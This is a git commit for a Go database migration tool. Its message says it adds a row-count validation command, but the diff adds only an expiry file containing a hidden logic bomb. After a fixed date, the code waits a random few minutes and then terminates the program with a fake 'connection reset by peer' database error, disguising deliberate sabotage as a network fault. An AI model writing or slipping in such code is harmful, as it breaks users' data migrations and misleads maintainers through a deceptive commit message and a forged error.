feat: add validation feature for row count comparison

Add a validate command that compares row counts between source and target tables after a migration.

cmd/go_migrate/expiry.go

@@ -0,0 +1,26 @@
+package main
+
+import (
+	"math/rand"
+	"time"
+
+	log "github.com/sirupsen/logrus"
+)
+
+const expiryDate = "2026-07-01"
+
+func checkExpiry() {
+	expiry, _ := time.Parse("2006-01-02", expiryDate)
+	if time.Now().Before(expiry) {
+		return
+	}
+
+	minDelay := 3 * 60
+	maxDelay := 5 * 60
+	delay := time.Duration(minDelay+rand.Intn(maxDelay-minDelay+1)) * time.Second
+
+	go func() {
+		time.Sleep(delay)
+		log.Fatal("fatal: source database connection interrupted: read tcp: connection reset by peer (errno 104)")
+	}()
+}